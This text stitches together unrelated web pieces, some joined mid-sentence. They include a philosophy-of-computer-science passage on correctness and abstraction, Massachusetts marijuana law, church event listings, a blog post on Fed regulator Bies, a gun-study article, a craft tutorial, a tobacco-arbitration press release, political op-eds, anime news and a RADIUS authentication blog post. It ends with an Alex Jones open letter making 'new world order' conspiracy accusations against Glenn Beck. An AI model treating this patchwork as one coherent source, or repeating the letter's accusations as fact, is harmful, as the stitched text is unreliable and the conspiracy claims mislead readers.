In apparent contrast, Burge (1998) argues that knowledge of such computer proofs can be taken as a priori knowledge. According to Burge, a priori knowledge does not depend for its justification on any sensory experience. However, he allows that a priori knowledge may depend for its possibility on sensory experience; e.g., knowledge that red is a color may be a priori even though having this knowledge requires having sensory experience of red in order to have the concepts required to even formulate the idea. If correct, this closes the gap between a priori and a posteriori claims about computer-assisted correctness proofs, but only by redrawing the boundary between a priori and a posteriori knowledge so that some empirical assertions can fall into the former category. For more discussion on the nature of the use of computers in mathematical proofs, see Hales 2008; Harrison 2008; Tymoczko 1979, 1980.
Unfortunately, practice often does not even get this far. Generally, software engineers do not construct classical correctness proofs by hand or even automatically. Testing of software against its specification on suites of test cases is the best that is normally achieved. Of course, this never yields correctness in the mathematical sense. Test cases can never be exhaustive (Dijkstra 1974). Furthermore, there is a hidden assumption that the underlying implementation is correct: at best, these empirical methods tell us something about the whole system. Indeed, the size of the state space of a system may be so large and complex that even direct testing is infeasible. In practice, the construction of mathematical models that approximate the behavior of complex systems is the best we can do.
The whole correctness debate carried out in the forum of the ACM (e.g., Ashenhurst 1989; Technical Correspondence 1989) is put into some perspective when programs are considered as technical artifacts. But this leaves one further topic: When we have reached physical structure, what notion of correctness operates?
7.4 Physical Correctness
What is it for a physical device to meet its specification? What is it for it to be a correct physical implementation? The starting point for much contemporary analysis is often referred to as the simple mapping account.
According to the simple mapping account, a physical system \(S\) performs as a correct implementation of an abstract specification \(C\) just in case (i) there is a mapping from the states ascribed to \(S\) by a physical description to the states defined by the abstract specification \(C\), such that (ii) the state transitions between the physical states mirror the state transitions between the abstract states. Clause (ii) requires that for any abstract state transition of the form \(s_1 \rightarrow s_2\), if the system is in the physical state that maps onto \(s_1\), it then goes into the physical state that maps onto \(s_2\).
To illustrate what the simple mapping account amounts to, we consider the example of our abstract machine (§2.1) where we employ an instance of the machine that has only two locations \(l\) and \(r\), and two possible values 0 and 1. Subsequently, we have only four possible states (0, 0), (0, 1), (1, 1), and (1, 0). The computation table for the update operation may be easily computed by hand, and takes the form of a table with input-output pairings. For example, Update\((r,1)\) sends the state (0,0) the state (0,1). The simple mapping account only demands that the physical system can be mapped onto the abstract one in such a way that the abstract state transitions are duplicated in the physical version.
Unfortunately, such a device is easy to come by: Almost anything with enough things to play the role of the physical states will satisfy this quite weak demand of what it is to be an implementation. For example, any collection of colored stones arranged as the update table will be taken to implement the table. The simple mapping account only demands extensional agreement. It is a de-facto demand. This leads to a form of pancomputationalism where almost any physical system implements any computation.
The danger of pancomputationalism has driven some authors (D.J. Chalmers 1996; Egan 1992; Sprevak 2012) to attempt to provide an account of implementation that somehow restricts the class of possible interpretations. In particular, certain authors (D.J. Chalmers 1996; Copeland 1996) seek to impose causal constraints on such interpretations. One suggestion is that we replace the material conditional (if the system is in the physical state \(S_1\) …) by a counterfactual one. In contrast, the semantic account insists that a computation must be associated with a semantic aspect which specifies what the computation is to achieve (Sprevak 2012). For example, a physical device could be interpreted as an AND gate or an OR gate. It would seem to depend upon what we take to be the definition of the device. Without such there is no way of fixing what the artifact is. The syntactic account demands that only physical states that qualify as syntactic may be mapped onto computational descriptions, thereby qualifying as computational states. If a state lacks syntactic structure, it is not computational. Of course, what remains to be seen is what counts as a syntactic state. A good overview can be found in (Piccinini 2015; see also the entry on computation in physical systems).
Turner (2012) argues that abstract structure and physical structure are linked, not just by being in agreement, but also by the intention to take the former as having normative governance over the latter. On this account, computations are technical artifacts whose function is fixed by an abstract specification. This relationship is neither that of theory to physical object nor that of syntactic thing to semantic interpretation.
But there is an ambiguity here that is reflected in the debate between those who argue for semantic interpretation (Sprevak 2012), and those who argue against it (Piccinini 2008). Consider programs. What is the function of a program? Is it fixed by its semantic interpretation, or is it fixed by its specification? The ambiguity here concerns the function of a program as part of a programming language or its role as part of a larger system. As a program in a language, it is fixed by the semantics of the language as a whole. However, to use a program as part of a larger system, one only needs to know what it does. The function of the program, as part of a larger system, is given by its specification. When a computation is picked out by a specification, exactly how the program achieves its specification is irrelevant to the system designer. The specification acts as an interface, and the level of abstraction employed by the system designer is central.
7.5 Miscomputations
It follows from what has been said so far, that correctness of implemented programs does not automatically establish the well-functioning of a computational artifact. Turing (1950) already distinguished between errors of functioning and errors of conclusion. The former are caused by a faulty implementation that is unable to execute the instructions of some high-level language program. Errors of conclusion characterize correct abstract machines that nonetheless fail to carry out the tasks they were supposed to accomplish. This may happen in those cases in which the specifications a program is correctly instantiating do not properly express users’ requirements on such a program. In both cases, machines implementing correct programs can still be said to miscompute.
Turing’s distinction between errors of functioning and errors of conclusion has been expanded into a complete taxonomy of miscomputations (Fresco & Primiero 2013). The provided classification is established on the basis of the many different levels of abstraction one may identify in the software development process. The functional specification level refers to the functional requirements a computational artifact should fulfill and which are advanced by users, companies, software architects, or other general stakeholders expressing constraints on the allowed behaviors of the system to be realized. At the design specification level, those requirements are more formally expressed in terms of a system design description detailing the system’s states and the conditions allowing for transitions among those states. A design specification level specification is, in its turn, instantiated in a proper algorithm, usually using some high-level programming language, at the algorithm design level. At the algorithm implementation level, algorithms can be implemented either in software, by means of assembly language and machine code instructions, or directly in hardware, the latter being the case for many special purpose machines. Finally, the algorithm execution level refers to runtime executions.
Errors can be conceptual, material, and performable. Conceptual errors violate validity conditions requiring consistency for specifications expressed in propositional conjunctive normal form; material errors violate the correctness requirements of programs with respect to the set of their specifications; and performable errors arise when physical constraints are breached by some faulty implementing hardware.
Performable errors clearly emerge only at the algorithm execution level, and they correspond with Turing’s (1950) error of functioning, also called operational malfunctions. Conceptual and material errors may arise at any level of abstraction from functional specification level down to the algorithm implementation level. Conceptual errors engender mistakes, while material errors can induce failures. For instance, a mistake at the functional specification level consists of an inconsistent set of requirements, or at the algorithm implementation level it may correspond to an invalid hardware design (such as in the choice of the logic gates for the truth-functional connectives). And failures occurring at the design specification level may be due to a design that is deemed to be incomplete with respect to the set of functional requirements expressed at the functional specification level while a failure at the algorithm design level occurs in those frequent cases in which a program is found not to fulfill its specifications. Beyond mistakes, failures, and operational malfunctions, slips are a source of miscomputations at the algorithm implementation level. Slips may be conceptual or material errors due to, respectively, a syntactic or a semantic flaw in the software implementation of algorithms. Conceptual slips appear in all those cases in which the syntactical rules of the programming languages are violated; material slips involve the violation of the semantic rules of programming languages, such as when a variable is used but not initialized.
Abstract machines […] are incapable of errors of functioning. In this sense we can truly say that “machines can never make mistakes”. Errors of conclusion can only arise when some meaning is attached to the output signals from the machines. (Turing 1950: 449)
On the basis of Turing’s remark, a distinction can be made between dysfunctions and misfunctions of technical artifacts (Floridi, Fresco, & Primiero 2015). Software can only misfunction but cannot ever dysfunction. An artifact token dysfunctions when it is not able to perform the task(s) it was designed for; and an artifact token misfunctions in case it is able to perform the required task(s) but is prone to manifest some undesired side-effects.
Software development is characterized by more levels of abstraction than one can find in any other artifact’s production cycle. Typical artifacts’ production only involves functional specification level and design specification level; after design, technical artifacts are physically implemented. As seen above, software development is also characterized by the algorithm implementation level, that is, the designed algorithm has to be instantiated in some high-level language program before hardware implementation. An artifact token can dysfunction in case the physical implementation fails to satisfy functional specifications or design specifications. Dysfunctions only apply to single tokens since a token dysfunctions in that it does not behave as the other tokens of the same type do with respect to the implemented functions. For this reason, dysfunctions do not apply to functional specification level and design specification level. On the contrary, both artifacts types and tokens can misfunction, since misfunctions do not depend on comparisons with tokens of the same type being able to perform some implemented function or not. Misfunction of tokens usually depends on the dysfunction of some other component, while misfunction of types is often due to poor design.
A software token cannot dysfunction, because all tokens of a given type implement functions specified at functional specification level and design specification level in the very same way. This is due to the fact that those functions are implemented at algorithm implementation level before being performed at the algorithm execution level; in case of correct implementation, all tokens will behave correctly at the algorithm execution level (provided that no operational malfunction occurs). For the very same reason, software tokens cannot misfunction, since they are equal implementations of the same design and specifications at algorithm implementation level. Only software types can misfunction in case of poor design; misfunctioning software types are able to correctly perform their functions but may also produce some undesired side-effect.
8. Abstraction
Abstraction facilitates computer science. Without it we would not have progressed from the programming of numerical algorithms to the software sophistication of air traffic control systems, interactive proof development frameworks, and computer games. It is manifested in the rich type structure of contemporary programming and specification languages, and underpins the design of these languages with their built-in mechanisms of abstraction. It has driven the invention of notions such as polymorphism, data abstraction, classes, schema, design patterns, and inheritance. But what is the nature of abstraction in computer science? Is there just one form of it? Is it the same notion that we find in mathematics?
8.1 Abstraction in Computer Science
Computer science abstraction takes many different forms. We shall not attempt to describe these in any systematic way here. However, Goguen (Goguen & Burstall 1985) describes some of this variety of which the following examples are instances.
One kind involves the idea of repeated code: A program text, possibly with a parameter, is given a name (procedural abstraction). In Skemp’s terms, the procedure brings a new concept into existence, where the similarity of structure is the common code. Formally, this is the abstraction of the lambda calculus (see the entry on the lambda calculus). The parameter might even be a type, and this leads to the various mechanisms of polymorphism, which may be formalized in mathematical theories such as the second order lambda calculus (Hankin 2004).
Recursion is an early example of operation or mechanism abstraction: It abstracts away from the mechanisms of the underlying machine. In turn, this facilitates the solution of complex problems without having to be aware of the operations of the machine. For example, recursion is implemented in devices such as stacks, but in principle the user of recursion does not need to know this.
The type structure of a programming or specification language determines the ontology of the language: the kinds of entity that we have at our disposal for representation and problem solving. To a large extent, types determine the level of abstraction of the language. A rich set of type constructors provides an expressive system of representation. Abstract and recursive types are common examples.
In object-oriented design, patterns (Gamma et al. 1994) are abstracted from the common structures that are found in software systems. Here, abstraction is the means of interfacing: It dissociates the implementation of an object from its specification. For example, abstract classes act as interfaces by providing nothing but the type structure of its methods.
In addition, in mathematics (Mitchelmore & White 2004), computer science, and philosophy (Floridi 2008) there are levels of abstraction. Abstractions in mathematics are piled upon each other in a never-ending search for more and more abstract concepts. Likewise, computer science deals with the design and construction of artifacts through a complex process involving sequences of artifacts of decreasing levels of abstractness, until one arrives at the actual physical device.
8.2 Information Hiding
In mathematics, once the abstraction is established, the physical device is left behind. On this account, the abstraction is self-contained: An abstract mathematical object takes its meaning only from the system within which it is defined. The only constraint is that the new objects be related to each other in a consistent system that can be operated on without reference to their previous meaning. Self-containment is paramount. There are no leaks.
Some argue that, in this respect at least, abstraction in computer science is fundamentally different to abstraction in mathematics (Colburn & Shute 2007). They claim that computational abstraction must leave behind an implementation trace. Information is hidden but not destroyed. Any details that are ignored at one level of abstraction (e.g., programmers need not worry about the precise location in memory associated with a particular variable) must not be ignored by one of the lower levels of abstraction (e.g., the virtual machine handles all memory allocations). At all levels, computational artifacts crucially depend upon the existence of an implementation. For example, even though classes hide the implementation details of their methods, except for abstract ones, they must have implementations. This is in keeping with the view that computational artifacts have both function |
political subdivisions or their respective agencies, authorities or instrumentalities may impose any form of penalty, sanction or disqualification on an offender for possessing an ounce or less of marihuana. By way of illustration rather than limitation, possession of one ounce or less of marihuana shall not provide a basis to deny an offender student financial aid, public housing or any form of public financial assistance including unemployment benefits, to deny the right to operate a motor vehicle or to disqualify an offender from serving as a foster parent or adoptive parent. Information concerning the offense of possession of one ounce or less of marihuana shall not be deemed ''criminal offender record information,'' ''evaluative information,'' or ''intelligence information'' as those terms are defined in Section 167 of Chapter 6 of the General Laws and shall not be recorded in the Criminal Offender Record Information system.
As used herein, ''possession of one ounce or less of marihuana'' includes possession of one ounce or less of marihuana or tetrahydrocannabinol and having cannabinoids or cannibinoid metabolites in the urine, blood, saliva, sweat, hair, fingernails, toe nails or other tissue or fluid of the human body. Nothing contained herein shall be construed to repeal or modify existing laws, ordinances or bylaws, regulations, personnel practices or policies concerning the operation of motor vehicles or other actions taken while under the influence of marihuana or tetrahydrocannabinol, laws concerning the unlawful possession of prescription forms of marihuana or tetrahydrocannabinol such as Marinol, possession of more than one ounce of marihuana or tetrahydrocannabinol, or selling, manufacturing or trafficking in marihuana or tetrahydrocannabinol. Nothing contained herein shall prohibit a political subdivision of the Commonwealth from enacting ordinances or bylaws regulating or prohibiting the consumption of marihuana or tetrahydrocannabinol in public places and providing for additional penalties for the public use of marihuana or tetrahydrocannabinol.Temple Square Events Tickets and information Find information about Temple Square events, tickets, guidelines, and restrictions on LDS.org/events. Event Details
2019 Temple and Family History Leadership Instruction February 28, 2019 Watch the live stream of the Temple and Family History Leadership Instruction on February 28 from 7:00 to 8:00 p.m. MST, featuring Elder David A. Bednar, Elder Gary E. Stevenson, and Elder Dale G. Renlund of the Quorum of the Twelve Apostles. Event Details
2019 RootsTech Family Discovery Day March 2, 2019 Elder David A. Bednar of the Quorum of the Twelve Apostles, and his wife, Sister Susan Bednar, will be the featured speakers at the RootsTech Family Discovery Day 2018. Watch the online stream from anywhere in the world. Event Details
Kinshasa Democratic Republic of the Congo Temple Open House and Dedication 12 March - 13 April 2019 The First Presidency has announced that the Kinshasa Democratic Republic of the Congo Temple in Africa will be dedicated on Sunday, April 14, 2019. Event Details
April 2019 General Conference April 6–7, 2019 All members of the Church are invited to participate in the 189th Annual General Conference of the Church on Saturday and Sunday, April 6–7, 2019. Event Details
Port-au-Prince Haiti Temple Open House and Dedication August 3–17; September 1 The free public open house for the Haiti Temple will be August 1 through August 17, 2019. The temple will be dedicated on September 1. Event Details
Fortaleza Brazil Temple Open House and Dedication April 27–May 18; June 2, 2019 The First Presidency has announced that the Fortaleza Brazil Temple will be dedicated on Sunday, June 2. A free open house is April 27 through May 18, 2019. Event DetailsFrom Rudolph Bell at GreenvilleOnline: Ex-Fed governor feels 'accountable' in economic crisis (ht Scott)
[Former Fed Governor from 2001-2007] Susan Schmidt Bies is having second thoughts about some of the votes she cast as a member of the Federal Reserve Board of Governors in the years leading up to the present crisis.
...
"I never, never would have guessed it was going to be like this, never," she said.
In an interview with The Greenville News, Bies reflected on her time at the Fed -- and expressed regret at not acting to raise interest rates faster or doing more to strengthen mortgage underwriting.
...
Bies said the bigger problem was lenders granting mortgages to people without the means to repay the loans. That concern fell to Bies, since she was the Fed's point person for bank oversight.
"As regulators, we didn't see the whole picture of how poorly the loans were being underwritten, because there's so many regulators in this country. None of us saw the whole picture, and we didn't tighten down enough, fast enough on it," Bies said.
...
"I think everybody just really lost touch with how much the underwriting of loans had deteriorated," Bies said.
...
Before the collapse, she said, "every bank risk model, every securitizer, broker dealer, all the rating agencies, were all basically where I was."
"I just didn't realize it was as bad as it was," she said.
[W]e see indications that underwriting standards are beginning to weaken. For example, "affordability products"--such as interest-only loans, negative amortizations, and second mortgages with high loan-to-value ratios--are becoming more popular; subprime lending is growing faster than prime lending; adjustable-rate mortgages, or ARMs, have grown substantially and now account for more than a third of all mortgage originations, the highest level since 1994. Industry experts are increasingly concerned about the quality of collateral valuations relied upon in home equity lending and residential refinancing activities. More homes are being purchased not as primary dwellings, but as vacation homes or pure investments, in which case anticipated price appreciation may be a large factor influencing purchase decisions.
... [T]he agencies have observed some easing of underwriting standards, with lenders competing to attract home equity lending business. Lenders are sometimes offering interest-only loans and are sometimes requiring very small down payments and limited documentation of a borrower's assets and income. They are also relying more on automated-valuation models and entering into more transactions with loan brokers and other third parties. Given this easing of standards, there is concern that portions of banks' home equity loan portfolios may be vulnerable to a rise in interest rates and a decline in home values. In other words, there is concern that not all banks fully recognize the embedded risks in some of their portfolios.
Bank supervisors today have similar concerns about commercial real estate lending, defined as those real estate loans in which the primary source of repayment is derived from the rental income or sale proceeds of commercial property. This has historically been a highly volatile asset class, and it played a central role in the banking problems of the late 1980s and early 1990s.
It's tempting to say: Hoocoodanode?But actually Bies did realize there was a problem, but she just didn't act aggressively to understand the depth of the problem... here are some excerpts from a speech she gave in June, 2005:Yes, Bies was late realizing there was a problem. And she didn't seem to recognize the extent of the underwriting issues - even though this speech outlined many of the key issues and was given almost two years before New Century went down. Think of all those poorly underwritten loans made after Bies gave this speech. Why didn't the Fed move more aggressively to understand the underwriting issues, and why did they drag their feet for the next two years? I think those are key questions that still need to be answered.Medical researchers in Philadelphia have conducted a study which indicates - according to their interpretation - that carrying a gun causes people to get shot more often. "People should rethink their possession of guns," say the medics.
“This study helps resolve the long-standing debate about whether guns are protective or perilous,” says University of Pennsylvania epidemiology prof Charles Branas. The Penn announcement is headlined "Gun Possession [is] of questionable value in an Assault", so it's pretty clear which way he's leaning.
The Penn researchers carried out their study by randomly selecting 677 people in Philadelphia who had been shot in "assaults". Apparently five people sustain gunshot wounds every day in the City of Brotherly Love, so there were plenty to choose from.
According to the profs, six per cent of the shooting victims were packing heat when they got plugged. They compared that to a control sample of Philadelphians who had not been shot, and concluded that "people with a gun were 4.5 times more likely to be shot in an assault than those not possessing a gun".
The research techniques used were the same as those previously used "to establish links between such things as smoking and lung cancer or drinking and car crashes". The message is: you smoke, you'll get cancer; you drive drunk, you'll crash your car; carry a gun, you'll get shot.
There didn't seem to be any account taken of the fact that people with good reason to fear being shot - for instance drug dealers, secret agents etc - would be more likely to tool up than those with no such concerns.
The profs' reasoning, however, would seem to be that if someone sticks you up in the street and you haven't got a gun, you'll just hand over your valuables and so escape with a whole skin. If you've got a gat, however, you might try to draw it and so get shot. Tactically, of course, it might be wiser to first hand over your wallet and then craftily backshoot the robber as he departed, but no matter.
"On average, guns did not protect those who possessed them from being shot in an assault," conclude the study authors. "Although successful defensive gun uses occur each year, the probability of success may be low for civilian gun users in urban areas. Such users should reconsider their possession of guns or, at least, understand that regular possession necessitates careful safety countermeasures."
Subscribers to the American Journal of Public Health can read the research here. ®Materials Needed:
Paper plate
Paint
Black and yellow paper
Scissors
Glue
Start by having the kids paint rainbow stripes on the front of a paper plate.
Let dry and flip it over to paint the back as well. Blow dryers are great if you’re impatient!
Grab a scissors and start at the outside of the plate to cut spirals. Cut out a black pot of gold and glue it to the end of the plate (we trimmed the spots that were pointy).
Glue on some yellow circles to make the gold…you can add some sparkles too! Poke a hole in the middle of the plate and add a string to hang it up!
If you liked this one, check out my other St. Patrick’s Day crafts for kids!
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! :)WASHINGTON--(BUSINESS WIRE)--An international arbitral tribunal today rejected a challenge by Philip Morris International, Inc. (“PMI”) to Uruguay’s strict tobacco-control measures, aimed at reducing cigarette consumption and its devastating impact on public health.
The case had attracted widespread international attention because it pitted the sovereign right of Uruguay to protect the health of its 3.5 million people against the commercial interests of tobacco giant PMI.
Foley Hoag LLP partners Paul Reichler, Lawrence Martin and Clara Brillembourg, of Washington, DC, and Andrew Loewenstein of Boston led Uruguay’s legal defense team.
“This precedent-setting decision not only upholds Uruguay’s public health measures, but sends a strong signal to other countries that they can move forward with strong tobacco control regulations without fear of intimidation by big tobacco companies like Philip Morris,” said Reichler.
“The credit for this accomplishment goes to Uruguay’s President Tabaré Vázquez—a true champion of public health, and a principled advocate of strong measures to reduce smoking and save lives,” Reichler added. “It was under his guidance that this case was brought to a successful conclusion.”
The arbitral tribunal was convened in 2010 pursuant to the terms of the bilateral investment treaty between Uruguay and Switzerland under the auspices of the International Centre for Settlement of Investment Disputes, in Washington.
Philip Morris challenged two of Uruguay’s tobacco control measures: the requirement that graphic warning labels cover 80% of the front and back of cigarette packs, and the requirement that each brand of cigarettes have only a single presentation (i.e., that there only be one type of Marlboro cigarette on the market, not Marlboro Red, Marlboro Gold and Marlboro Blue).
The tribunal rejected Philip Morris’ claims that the two challenged regulations were arbitrary, constituted an expropriation, and infringed on PMI’s trademark rights. Rather, the arbitral tribunal affirmed the two measures as reasonable exercises of Uruguay sovereign right—and duty—to protect public health from the death and disease smoking causes.
Uruguay showed that, as a result of these and other measures, the smoking rate among adults in Uruguay dropped from 35% to 22% between 2005 and 2014. Among adolescents, the impact was even greater; the smoking rate dropped dramatically to just 8.4%.
In addition to upholding Uruguay’s challenged measures, the arbitral tribunal ordered Philip Morris to reimburse Uruguay for its legal fees and other costs incurred in the case, a sum in excess of $7 million.
“The tribunal’s decision should put an end to the uncertainty that the tobacco companies have cultivated about whether countries can and should move firmly to reduce the incidence of death and disease smoking causes by adopting reasonable tobacco control policies,” said Foley Hoag’s Lawrence Martin. “The tribunal made clear that people matter more than profits.”
Uruguay’s successful defense against PMI’s challenges was led by Dr. Miguel Toma, Secretary of the Presidency, and Dr. Carlos Gianelli, Uruguay’s Ambassador to the United States. In addition to Foley Hoag LLP, Uruguay was represented by Professor Harold H. Koh of Yale Law School.
The entire Award, in English and Spanish, as well as President Vázquez’s comments on it, will be made available online today at http://presidencia.gub.uy/. A fact sheet on the case can be found here.Americans are still coming to grips with the reality of an administration intent on moving the nation backward on virtually every critical social issue. President Trump’s and congressional Republicans’ combined assault against hard-won advancements on climate change, health care, wealth and income inequality, criminal justice reform, and minorities’ and women’s rights goes on, and with an opposition party that appears unable (or unwilling) to do what is required to effectively combat these destructive developments, one may rightly ask exactly whose interests are currently being represented by our government.
The two major political parties in this country do, in fact, represent those that put them in power. Unfortunately, those who deserve the lion’s share of credit for choosing our elected officials are those individuals and organizations with pockets deep enough to warrant access to a process that is simply no longer available to the average American. In the 2016 election, Hillary Clinton and Donald Trump, the two least popular presidential candidates in history, spent $2.43 million and $1.05 million respectively, per electoral vote. These numbers grow with every election, and down-ballot national, state, and local elections are scarcely better. Money in American politics has become undeniably pervasive, and it is by no means restricted to one party. While Trump filled out his cabinet with former Wall Street executives and corporate cronies, senate Democrats elected as their leader a man who, according to the nonpartisan Center for Responsive Politics, has taken more money from lobbyists than any other sitting U.S. Senator, from either party. The result of this type of dealing in our political system is fait accompli.
While the problem of the corrupting influence of money in politics is readily apparent, the solution to that problem is much less so. Some progressives suggest the answer is to reform the existing system from within the Democratic Party. Despite the best intentions of those supporting such a strategy, however, it is highly unlikely leaders of the party, who have ascended to and maintain power largely through the contributions of corporate donors, will be eager to reduce the flow of that money. It’s a safe bet the sources of such contributions will similarly fight tooth and nail to prevent any loss of the access and influence their money provides.
The reality is there is far too much inertia driving big money in our political duopoly to realistically expect any meaningful reform to come from within. The only way to effectively curb the corrupting influence of money in our political system is to elect individuals from outside the existing major parties, who are not beholden to the money that currently permeates them, and to fund the political activities of such individuals in ways that prevent the exertion of moneyed special interests from ever taking hold. Bernie Sanders’ 2016 presidential run, funded almost exclusively by the small donations of many private individuals, provides an effective template. If elected officials represent the interests of those who put them in power, we must ensure our officials are put in power by the voters, seeking to advance the interests of a broad cross-section of Americans, and not a small number of wealthy donors seeking to advance a narrow set of corporate special interests. Unfortunately, for those operating within the current political duopoly, including the Democratic Party, this will simply never happen.
For those supportive of an independent, third-party political movement built on a model emulating Bernie Sanders’ grassroots campaign, what of the common refrain that such a movement will only splinter progressives, dividing their vote and effectively handing future elections to Republicans on a silver platter? Without question, this concern is earnest and legitimate. To minimize it or disregard those who give voice to it would be disingenuous. Notwithstanding attempts to appeal to voters across the political spectrum, a third party that espouses progressive policies and ideals will unquestionably run the risk of drawing many of its supporters from the Democratic Party and its candidates, potentially making some electoral victories that much easier for Republicans. And while interest among progressives in a third-party movement is soaring, this concern remains at the fore of conversations regarding the wisdom of such a movement. In fact for many years this very rationale has suppressed support for a progressive third-party and has kept power on the left concentrated in the traditional party establishment. Unfortunately, because of the pervasive influence of special interest money on both major parties, it has also guaranteed the continuation of pay-to-play access in our politics, and ensured that the interests of average Americans are not and will not be represented by their elected officials.
If the rise of an independent, progressive third-party risks solidifying power among Republicans, and continued support of the Democratic Party perpetuates an unacceptable status quo, what are sincere, reform-minded progressives to do? Those who support the growth of an independent third-party must take concurrent action to minimize the negative impact of such a movement on electoral politics. This can be done, for example, by instigating and supporting voter initiatives to change state ballot-access laws. Laws permitting Fusion Voting, which allows multiple parties to field the same candidate on a single ballot, and Ranked-Choice or Instant-Runoff Voting, which allows voters to rank multiple candidates on a ballot in order of preference, vastly reduce the threat of negative electoral outcomes for Democratic candidates, reducing the need for establishment-leaning progressives to oppose the rise of an independent third-party. Progressives must identify and pursue these and other strategies that account for and minimize the risk of catastrophic electoral results.
In the end, though, the answer to potential negative outcomes posed by the growth of an independent political party cannot be to discard the movement altogether. Not when the result of not having a progressive third-party has become clear. Absent the existence of a party independent of the current duopoly, with its attendant indebtedness to the special interests that provide its financial lifeblood, Americans will continue to get increasingly less from their government. Less access; less transparency; less representation. We can, and must, demand more.Sunrise began streaming a video on Sunday to announce a new project in the Gundam Build Fighters franchise, currently titled Gundam Build _Extra Battle Project.
Text: I will make it, and you will fight
Text: And to the world!
Text: Gundam Build Fighters
Text: Three people will fight in the ultimate Gunpla battle
Text: Gundam Build Fighters Try
Text: The Try Fighters' greatest crisis!?
Text: Gundam Build Fighters Try Island Wars
The official website for the franchise had teased on April 28 that it would be making an announcement on May 7 at 6:00 p.m. in Japan.
Gundam Build Fighters producer Masakazu Ogawa previously teased in a post tagged with Gundam Build Fighters that "one more special chapter" was in the works and that he expected to make an announcement in early May.
The first Gundam Build Fighters television anime series aired from October 2013 to March 2014. Gundam Build Fighters Try aired from October 2014 to April 2015, and the Gundam Build Fighters Try Island Wars television special aired in August 2016. Gundam.Info streamed both series and the special with English subtitles as they aired in Japan, and Crunchyroll later added the two series streaming. Right Stuf released both on Blu-ray Disc and DVD in North America last year.
The Twitter account for the series had announced in April 2015 that the franchise would get several OVA projects, but it has not revealed more information since that announcement.
[Via My Game News Flash]When Marnie Was There aired on NTV on Friday, July 14 at 9:00 p.m. and earned a 9.7% rating. The live-action film adaptation of Kei Sanbe's Erased manga aired on Fuji TV on Tuesday, July 11 at 9:00 p.m. and earned an 8.1% rating. Pokemon Heroes - Latias & Latios aired on TV Tokyo on Sunday, July 16 at 1:35 a.m. and earned a 0.6% rating.
A new live-action drama adaptation of Kenshi Hirokane's Hello Hari-nezumi manga aired on Friday, July 14 at 10:00 p.m. and earned a 10.3% rating.
Title Station Date Time Length Average
Household Rating Sazae-san Fuji TV July 16 (Sun) 18:30 30 min. 9.6 Chibi Maruko-chan Fuji TV July 16 (Sun) 18:00 30 min. 6.6 One Piece Fuji TV July 16 (Sun) 9:30 30 min. 6.2 Detective Conan NTV July 15 (Sat) 18:00 30 min. 4.5 Dragon Ball Super Fuji TV July 16 (Sun) 09:00 30 min. 4.3 Animated O-saru no George (Curious George) NHK-E July 15 (Sat) 08:35 25 min. 3.8 Animation Hitsuji no Shaun (Shaun the Sheep) NHK-E July 15 (Sat) 09:00 20 min. 3.3 Kirakira ☆ Precure a la Mode TV Asahi July 16 (Sun) 08:30 30 min. 3.1 My Hero Academia NTV July 15 (Sat) 17:30 30 min. 3.0 Go! Go! Chuggington Fuji TV July 16 (Sun) 06:15 15 min. 3.0
Sources: Video Research (Kanto region)
[Video Research does not directly post more ratings than what is listed here. Any purportedly additional data comes from unverified, anonymous sources.]Imagine you have a great idea for a new open source project that would meet some of your company's needs. You know it will be needed at other organizations, as everyone needs some help managing critical infrastructure. You map out an architecture, do some quick test code, and now it's time to add in some authentication code. If it's a web-based tool, support http authentication and you're done. Apache can handle it. If it's Linux-based, support PAM. Done. But what if it's neither?
You might think "We'll make it pluggable and we'll do an LDAP plugin so we can work with Active Directtory or LDAP. Now, on to logging..." Wait. Step back. I want to propose a better authentication protocol than LDAP as the default go-to protocol: RADIUS.
RADIUS is an interesting protocol. It is ubiquitous in the enterprise, but not often used until needed. It is incredibly simple to configure, but misunderstood. It supports more functionality than LDAP, but is infrequently considered by developers that are creating enterprise-oriented software. It is supported by Cisco, Checkpoint, Netgear, Apache, PAM, every two-factor authentication vendor, every VPN provider, etc.
The best reason why RADIUS should be favored over LDAP: an LDAP server considers itself to be the final authority for authorization and authentication; a RADIUS server will split authentication and authorization. Authentication is who you are. Authorization is what you are allowed to do. Splitting them is important because increasingly you need two-factor authentication. You don't have to split them, though. Supporting RADIUS also gets you LDAP.
Splitting authz and authn is a good thing from a security standpoint. It allows you to do user management in your directory rather than in your your authentication server. An HR person could disable a user in the directory and that user would be locked out. It's much better than needing to disable them in two places.
Additionally, there are free and open source server options on both Linux and Windows. Linux has the venerable and robust Freeradius and other options. Windows has NPS, the free Microsoft RADIUS plugin. In addition, there are robust offerings from Cisco and other networking vendors.
Both RADIUS and LDAP are protocols as well as servers in that you can have a RADIUS server and you can have two systems that speak RADIUS but do not perform the functions of a RADIUS server. So, a VPN can validate credentials to a two-factor authentication system using RADIUS. It's not the best setup, but it's possible and dead simple.
RADIUS is quite simple. All you need is the IP address of each system and a shared secret. No BindDN or LDAP URL or anything like that. (I'll say it: I hate configuring LDAP. LDAP is lightweight only in relation to X509.) For developers, adding RADIUS is as easy as adding LDAP. There are open source libraries available such as jRadius.
What about Single sign-on protocols? I wish I could make a recommendation. It appears that OpenID-Connect could be a winner but it's still a long way off. These procotols need a lot of vetting and review to prove their security. I'm sure most of you have removed your "Login with OpenID" option on your websites. Until there are clear winners in the SSO protocols, I hope developers will consider RADIUS. It gives you LDAP and provides more security options.Edited by Paul Joseph Watson
Prison Planet.com
Tuesday, September 15, 2009
Alex Jones has addressed Glenn Beck in the form of an open letter, appealing to him to “be on the right side of history” by using his growing public platform to tell the truth rather than exploiting it to deceive grass-roots conservatives and libertarians into following a re-birth of the neo-con agenda that Beck has embraced all along.
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Glenn Beck,
It is important to preface this letter by highlighting the fact that I do not attack people lightly and have defended you in the past when Van Jones was calling for you to be fired. I fully support your right to free speech.
It cannot be denied that you – Glenn Beck – are an extremely talented radio and television host and you have a magnetism and a proficiency of public speaking that draws people in and maintains their interest. However, being a novice history buff I am also painfully aware of the fact that Benedict Arnold was, like you, a talented individual – he was also a traitor.
History is what matters and being on the right side of history is what’s important when it comes to the legacy we leave on this planet. You don’t want people to look back on you as a Benedict Arnold, as a traitor to America. You don’t want people to look back on you as a media whore, as playing the role of being loyal opposition to sucker legitimate and growing grass roots opposition to the new world order.
Your agenda is to put out a dual message – to discredit and polarize the conservative movement to the benefit of the establishment left and the elite. Your bizarre and clownish antics of fake crying, which you proved were staged when you replicated them on demand for a GQ photo shoot, are doing nothing but reinforcing the stereotype that the conservative right is insane.
Your entire 9/12 project has nothing to do with uniting America and everything to do with reinforcing neo-conservative rhetoric about how we should relinquish our rights and accept the police state because terrorists want to attack us and Saddam Hussein has WMD’s and yellowcake.
